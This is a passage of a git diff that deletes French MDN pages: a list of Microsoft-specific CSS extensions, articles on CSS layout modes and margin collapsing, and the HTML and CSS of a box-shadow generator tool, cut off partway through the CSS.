  • {{CSSxRef("-ms-content-zoom-limit-min")}}
    • +
  • {{CSSxRef("-ms-content-zoom-snap")}}
    • +
  • {{CSSxRef("-ms-content-zoom-snap-points")}}
    • +
  • {{CSSxRef("-ms-content-zoom-snap-type")}}
    • +
  • {{CSSxRef("-ms-filter")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-flow-from")}}
    • +
  • {{CSSxRef("-ms-flow-into")}}
    • +
  • {{CSSxRef("-ms-high-contrast-adjust")}}
    • +
  • {{CSSxRef("-ms-hyphenate-limit-chars")}}
    • +
  • {{CSSxRef("-ms-hyphenate-limit-lines")}}
    • +
  • {{CSSxRef("-ms-hyphenate-limit-zone")}}
    • +
  • {{CSSxRef("-ms-ime-align")}}
    • +
  • {{CSSxRef("-ms-overflow-style")}}
    • +
  • {{CSSxRef("-ms-scrollbar-3dlight-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-arrow-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-base-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-darkshadow-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-face-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-highlight-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-shadow-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scrollbar-track-color")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-ms-scroll-chaining")}}
    • +
  • {{CSSxRef("-ms-scroll-limit")}}
    • +
  • {{CSSxRef("-ms-scroll-limit-x-max")}}
    • +
  • {{CSSxRef("-ms-scroll-limit-x-min")}}
    • +
  • {{CSSxRef("-ms-scroll-limit-y-max")}}
    • +
  • {{CSSxRef("-ms-scroll-limit-y-min")}}
    • +
  • {{CSSxRef("-ms-scroll-rails")}}
    • +
  • {{CSSxRef("-ms-scroll-snap-points-x")}}
    • +
  • {{CSSxRef("-ms-scroll-snap-points-y")}}
    • +
  • {{CSSxRef("-ms-scroll-snap-x")}}
    • +
  • {{CSSxRef("-ms-scroll-snap-y")}}
    • +
  • {{CSSxRef("-ms-scroll-translation")}}
    • +
  • {{CSSxRef("-ms-text-autospace")}}
    • +
  • {{CSSxRef("-ms-touch-select")}}
    • +
  • {{CSSxRef("-ms-wrap-flow")}}
    • +
  • {{CSSxRef("-ms-wrap-margin")}}
    • +
  • {{CSSxRef("-ms-wrap-through")}}
    • +
  • {{CSSxRef("zoom")}}
    • +
+
+ +

Pseudo-éléments

+ +
+
    +
  • {{CSSxRef("::-ms-browse")}}
    • +
  • {{CSSxRef("::-ms-check")}}
    • +
  • {{CSSxRef("::-ms-clear")}}
    • +
  • {{CSSxRef("::-ms-expand")}}
    • +
  • {{CSSxRef("::-ms-fill")}}
    • +
  • {{CSSxRef("::-ms-fill-lower")}}
    • +
  • {{CSSxRef("::-ms-fill-upper")}}
    • +
  • {{CSSxRef("::-ms-reveal")}}
    • +
  • {{CSSxRef("::-ms-thumb")}}
    • +
  • {{CSSxRef("::-ms-ticks-after")}}
    • +
  • {{CSSxRef("::-ms-ticks-before")}}
    • +
  • {{CSSxRef("::-ms-tooltip")}}
    • +
  • {{CSSxRef("::-ms-track")}}
    • +
  • {{CSSxRef("::-ms-value")}}
    • +
+
+ +

Caractéristiques média

+ +
+
    +
  • {{CSSxRef("@media/-ms-high-contrast","-ms-high-contrast")}}
    • +
+
+ +

API DOM relatives à CSS

+ +
+
    +
  • {{DOMxRef("msContentZoomFactor")}}
    • +
  • {{DOMxRef("msGetPropertyEnabled")}}
    • +
  • {{DOMxRef("msGetRegionContent")}}
    • +
  • {{DOMxRef("MSRangeCollection")}}
    • +
  • {{DOMxRef("msRegionOverflow")}}
    • +
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/mode_de_mise_en_page/index.html b/files/fr/web/css/mode_de_mise_en_page/index.html deleted file mode 100644 index 377b162194..0000000000 --- a/files/fr/web/css/mode_de_mise_en_page/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Mode de mise en page -slug: Web/CSS/Mode_de_mise_en_page -tags: - - CSS - - Reference -translation_of: Web/CSS/Layout_mode ---- -
{{CSSRef}}
- -

Un mode de disposition CSS (layout mode), parfois raccourci en « disposition » est un algorithme qui détermine la position et la taille des boîtes des éléments en fonction des interactions avec leurs voisins et leurs ancêtres. Il existe plusieurs modes de disposition :

- - - -
-

Note : Les propriétés CSS ne s'appliquent toutes à tous les modes de disposition. La plupart des propriétés n'ont d'effet que pour un ou deux de ces modes et seront sans effet pour un élément qui s'inscrit dans un autre mode de disposition.

-
diff --git "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/fusion_des_marges/index.html" "b/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/fusion_des_marges/index.html" deleted file mode 100644 index 3b14f121d8..0000000000 --- "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/fusion_des_marges/index.html" +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Fusion des marges -slug: Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges -tags: - - CSS - - Reference -translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing ---- -
{{CSSRef}}
- -
Les marges haute et basse des blocs sont parfois fusionnées en une seule marge dont la taille est la plus grande des deux marges fusionnées. C'est ce qu'on appelle la fusion des marges.
- -

La fusion des marges se produit si on a l'un de ces trois cas :

- -
-
Des éléments voisins adjacents
-
Les marges des éléments voisins adjacents sont fusionnés (sauf quand le dernier voisin doit passer à la ligne pour dégager les flottements). Ainsi : - 
 <p>La marge basse de ce paragraphe est fusionnée…</p>
- <p>… avec la marge haute de celui-ci.</p>
-
-
-
Aucun contenu séparant le parent et ses descendants
-
S'il n'y a aucune bordure, remplissage, contenu en ligne (inline), lorsqu' un contexte de formatage de blocs est créé ou dégagement pour séparer la marge haute d'un bloc avec la marge haute d'un ou plusieurs des blocs descendants ou quand il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}}, {{cssxref("min-height")}} ou {{cssxref("max-height")}} pour séparer la marge basse d'un bloc avec la marge basse d'un ou plusieurs des blocs descendants, ces marges sont fusionnées. La marge fusionnée termine en dehors de l'élément parent.
-
Des blocs vides
-
S'il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}} ou {{cssxref("min-height")}} pour séparer la marge haute d'un bloc de sa marge basse, ces deux marges sont fusionnées.
-
- -

On peut avoir des cas de fusion plus complexes lorsque ces cas de figures sont combinés.

- -

Ces règles s'appliquent également lorsque les marges sont égales à 0. Ainsi, la marge d'une descendant finit toujours en dehors de l'élément parent (selon la deuxième règle vue ci-avant) quelle que soit la marge de l'élément parent (nulle ou non).

- -

Lorsqu'on manipule des marges négatives, la taille de la marge fusionnée est la somme de la marge positive la plus grande et de la marge négative la plus petite (celle dont la valeur est plus éloignée de 0).

- -

Les marges des éléments flottants et positionnés de façon absolue ne sont jamais fusionnées.

- -

Exemples

- -

HTML

- -
<p>La marge basse de ce paragraphe est fusionnée…</p>
-<p>… avec la marge haute de ce paragraphe. On a donc une marge
-   de <code>1.2rem</code> entre les deux.</p>
-
-<div>Cet élément contient deux paragraphes !
-  <p>Celui-ci a une marge de <code>.4rem</code> par rapport au texte ci-dessus.</p>
-  <p>La marge basse de cet élément fusionne avec la marge basse
-     de l'élément parent. On a donc <code>2rem</code> de marge.
-</p>
-</div>
-
-<p>Bip bap bop.</p>
- -

CSS

- -
div {
-  margin: 2rem 0;
-  background: lavender;
-}
-
-p {
-  margin: .4rem 0 1.2rem 0;
-  background: yellow;
-}
- -

Résultat

- -

{{EmbedLiveSample('Exemples','100%',250)}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}{{Spec2("CSS2.1")}}Définition initiale.
- -

Voir aussi

- - diff --git "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/g\303\251n\303\251rateur_box-shadow/index.html" "b/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/g\303\251n\303\251rateur_box-shadow/index.html" deleted file mode 100644 index 77f236ac13..0000000000 --- "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/g\303\251n\303\251rateur_box-shadow/index.html" +++ /dev/null @@ -1,2887 +0,0 @@ ---- -title: Générateur de box-shadow -slug: Web/CSS/Modèle_de_boîte_CSS/Générateur_box-shadow -tags: - - CSS - - Outil -translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator ---- -

Cet outil visuel permet de construire des effets d'ombre et de générer du code pour la propriété {{cssxref("box-shadow")}} qui pourra être ajouté à votre feuille de style.

- -
-

box-shadow generator

- -

HTML Content

- -
<div id="container">
-    <div class="group section">
-        <div id="layer_manager">
-            <div class="group section">
-                <div class="button" data-type="add"> </div>
-                <div class="button" data-type="move-up"> </div>
-                <div class="button" data-type="move-down"> </div>
-            </div>
-            <div id="stack_container"></div>
-        </div>
-
-        <div id="preview_zone">
-            <div id="layer_menu" class="col span_12">
-                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
-                <div class="button" id="before" data-type="subject" data-title=":before">
-                    :before
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="button" id="after" data-type="subject" data-title=":after">
-                    :after
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
-                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
-            </div>
-
-            <div id="preview">
-                <div id="obj-element">
-                    <div class="content"> </div>
-                    <div id="obj-before"> </div>
-                    <div id="obj-after"> </div>
-                </div>
-            </div>
-        </div>
-    </div>
-
-    <div id="controls" class="group section">
-        <div class="wrap-left">
-            <div class="colorpicker category">
-                <div class="title"> </div>
-                <div id="colorpicker" class="group">
-                    <div id="gradient" class="gradient">
-                        <div id="gradient_picker"> </div>
-                    </div>
-                    <div id="hue" data-topic="hue" class="hue">
-                        <div id="hue_selector"> </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
-                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
-                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
-                    </div>
-                    <div class="alpha">
-                        <div id="alpha" data-topic="alpha">
-                            <div id="alpha_selector"> </div>
-                        </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
-                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
-                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
-                    </div>
-                    <div class="preview block">
-                        <div id="output_color"> </div>
-                    </div>
-                    <div class="block info">
-                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
-                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
-                    </div>
-                </div>
-            </div>
-        </div>
-
-        <div class="wrap-right">
-
-            <div id="shadow_properties" class="category">
-                <div class="title"> Propriétés d'ombre </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> inset </div>
-                        <div class="ui-checkbox" data-topic='inset'></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position x </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posX"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position y </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posY"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Blur </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="blur"
-                            data-min="0" data-max="200" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Spread </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="spread"
-                            data-min="-100"    data-max="100" data-step="1" data-value="50">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="element_properties" class="category">
-                <div class="title"> Propriétés d'ombre </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> border </div>
-                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
-                    </div>
-                    <div id="z-index" class="slidergroup">
-                        <div class="ui-slider-name"> z-index </div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="z-index"
-                            data-min="-10" data-max="10" data-step="1"></div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="z-index"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> top </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="top"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> left </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="left"
-                            data-min="-300" data-max="700" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
-                    </div>
-                    <div id="transform_rotate" class="slidergroup">
-                        <div class="ui-slider-name"> Rotate </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="rotate"
-                            data-min="-360" data-max="360" data-step="1" data-value="0">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Width </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="width"
-                            data-min="0" data-max="1000" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Height </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="height"
-                            data-min="0" data-max="400" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="output" class="category">
-                <div id="menu" class="menu"></div>
-                <div class="title">    Code CSS </div>
-                <div class="group" style="border-top-left-radius: 0;">
-                    <div class="output" data-topic="element" data-name="element"
-                        data-prop="width height background-color position=[relative] box-shadow">
-                    </div>
-                    <div class="output" data-topic="before" data-name="element:before"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                    <div class="output" data-topic="after" data-name="element:after"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                </div>
-            </div>
-        </div>
-    </div>
-</div>
-
- -

CSS Content

- -
/*  GRID OF TWELVE
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-/*
- * UI Slider
- */
-
-.slidergroup {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.slidergroup * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-.ui-slider {
-	height: 10px;
-	width: 200px;
-	margin: 4px 10px;
-	display: block;
-	border: 1px solid #999;
-	border-radius: 3px;
-	background: #EEE;
-}
-
-.ui-slider:hover {
-	cursor: pointer;
-}
-
-.ui-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-slider-pointer {
-	width: 13px;
-	height: 13px;
-	background-color: #EEE;
-	border: 1px solid #2C9FC9;
-	border-radius: 3px;
-	position: relative;
-	top: -3px;
-	left: 0%;
-}
-
-.ui-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 3px;
-	color: #FFF;
-	font-weight: bold;
-	text-align: center;
-}
-
-.ui-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-.ui-slider-input > input {
-	margin: 0 10px;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/*
- * UI Button
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-/*
- * BOX SHADOW GENERATOR TOOL
- */
-
-body {
-	max-width: 1000px;
-	height: 800px;
-	margin: 20px auto 0;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-}
-
-#container {
-	width: 100%;
-	padding: 2px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* container with shadows stacks */
-#stack_container {
-	height: 400px;
-	overflow: hidden;
-	position: relative;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#stack_container .container {
-	height: 100%;
-	width: 100%;
-	position: absolute;
-	left: 100%;
-	transition-property: left;
-	transition-duration: 0.5s;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-#stack_container .title {
-	text-align: center;
-	font-weight: bold;
-	line-height: 2em;
-	border-bottom: 1px solid #43A6E1;
-	color: #666;
-}
-
-
-/*
- * Stack of Layers for shadow
- */
-
-#layer_manager {
-	width: 17%;
-	background-color: #FEFEFE;
-	margin: 0 1% 0 0;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-
-#layer_manager .button {
-	width: 30%;
-	height: 25px;
-	margin:0 0 10px;
-	color: #333;
-	background-color: #EEE;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-
-	display: block;
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-#layer_manager .button:hover {
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_manager [data-type='add'] {
-	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
-}
-
-#layer_manager [data-type='add']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
-}
-
-#layer_manager [data-type='move-up'] {
-	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
-	margin-left: 5%;
-	margin-right: 5%;
-}
-
-#layer_manager [data-type='move-up']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
-}
-
-#layer_manager [data-type='move-down'] {
-	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
-}
-
-#layer_manager [data-type='move-down']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
-}
-
-/* shadows classes */
-
-#layer_manager .node {
-	width: 100%;
-	margin: 5px 0;
-	padding: 5px;
-	text-align: center;
-	background-color: #EEE;
-	border: 1px solid #DDD;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	color: #333;
-	border-radius: 3px;
-
-	position: relative;
-	display: block;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_manager .node:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	cursor: pointer;
-}
-
-/* active element styling */
-
-#layer_manager [data-active='layer'] {
-	color: #FFF;
-	border: none;
-	background-color: #379B4A;
-}
-
-#layer_manager [data-active='subject'] {
-	color: #FFF;
-	background-color: #467FC9;
-}
-
-/* delete button */
-
-#layer_manager .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 10px;
-	display: none;
-}
-
-#layer_manager .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_manager .node:hover .delete {
-	display: block;
-}
-
-
-#layer_manager .stack {
-	padding: 0 5px;
-	max-height: 90%;
-	overflow: auto;
-	overflow-x: hidden;
-}
-
-
-/*
- * Layer Menu
- */
-
-#layer_menu {
-	margin: 0 0 10px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button {
-	width: 100px;
-	margin: 0 5px 0 0;
-	padding: 2.5px;
-	color: #333;
-	background-color: #EEE;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-
-	position: relative;
-	display: block;
-	float: left;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_menu .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 5px;
-	display: none;
-}
-
-#layer_menu .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_menu .button:hover .delete {
-	display: block;
-}
-
-
-/*
- * active element styling
- */
-
-#layer_menu [data-active='subject'] {
-	color: #FFF;
-	background-color: #379B4A;
-	border: 1px solid #379B4A;
-}
-
-
-/* Checkbox */
-
-#layer_menu .ui-checkbox > label {
-	height: 15px;
-	line-height: 17px;
-	font-weight: normal;
-	width: 46px;
-	margin: 0 5px 0 0;
-}
-
-#layer_menu .ui-checkbox > input:checked + label {
-	display: none;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview_zone {
-	width: 82%;
-	float: left;
-
-}
-
-
-#preview {
-	width: 100%;
-	height: 400px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	cursor: move;
-	float: left;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#obj-element {
-	width: 300px;
-	height: 100px;
-	border: 1px solid #CCC;
-	background: #FFF;
-	position: relative;
-}
-
-
-#obj-before {
-	height: 100%;
-	width: 100%;
-	background: #999;
-	border: 1px solid #CCC;
-	text-align: left;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-#obj-after {
-	height: 100%;
-	width: 100%;
-	background: #DDD;
-	border: 1px solid #CCC;
-	text-align: right;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-
-/**
- * Controls
- */
-
-.wrap-left {
-	float: left;
-	overflow: hidden;
-}
-
-.wrap-right {
-	float: right;
-	overflow: hidden;
-}
-
-.wrap-left > * {
-	float: left;
-}
-
-.wrap-right > * {
-	float: right;
-}
-
-@media (min-width: 960px) {
-
-	.wrap-left {
-		width: 45%;
-	}
-
-	.wrap-right {
-		width: 55%;
-	}
-}
-
-
-@media (max-width: 959px) {
-
-	.wrap-left {
-		width: 30%;
-	}
-
-	.wrap-right {
-		width: 70%;
-	}
-}
-
-
-#controls {
-	color: #444;
-	margin: 10px 0 0 0;
-}
-
-
-#controls .category {
-	width: 500px;
-	margin: 0 auto 20px;
-	padding: 0;
-
-}
-
-#controls .category .title {
-	width: 100%;
-	height: 1.5em;
-	line-height: 1.5em;
-	color: #AAA;
-	text-align: right;
-}
-
-#controls .category > .group {
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-
-/**
- * 	Color Picker
- */
-
-@media (min-width: 960px) {
-	#controls .colorpicker {
-		width: 420px;
-	}
-}
-
-@media (max-width: 959px) {
-	#controls .colorpicker {
-		width: 210px;
-	}
-}
-
-#colorpicker {
-	width: 100%;
-	margin: 0 auto;
-}
-
-#colorpicker .gradient {
-	width: 200px;
-	height: 200px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background-color: #F00;
-	float: left;
-}
-
-#colorpicker .hue {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	float: left;
-}
-
-#colorpicker .alpha {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	border: 1px solid #CCC;
-	float: left;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker #alpha {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
-	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
-}
-
-#colorpicker #gradient_picker {
-	width: 0.5em;
-	height: 0.5em;
-	border-radius: 0.4em;
